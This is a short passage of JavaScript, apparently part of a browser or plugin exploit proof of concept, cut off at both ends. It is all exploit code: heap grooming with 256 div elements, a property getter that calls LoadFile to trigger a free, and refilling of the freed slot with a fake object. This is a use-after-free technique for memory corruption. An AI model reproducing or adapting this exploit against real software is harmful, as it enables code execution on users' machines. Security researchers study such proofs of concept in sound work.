tions
            for (var i=0; i<0x100; i++){
                realloc.push(window.document.createElement("div"));
            }

            // Callback to trigger free
            Object.defineProperty(targetarr, '0', {
                get: function() {
                    //  Trigger free
                    targetobj.LoadFile("test");
                    // Realloc free slot
                    for (var i=0; i<0x100; i++){
                        realloc[i].title = fakeobj;
                    }
       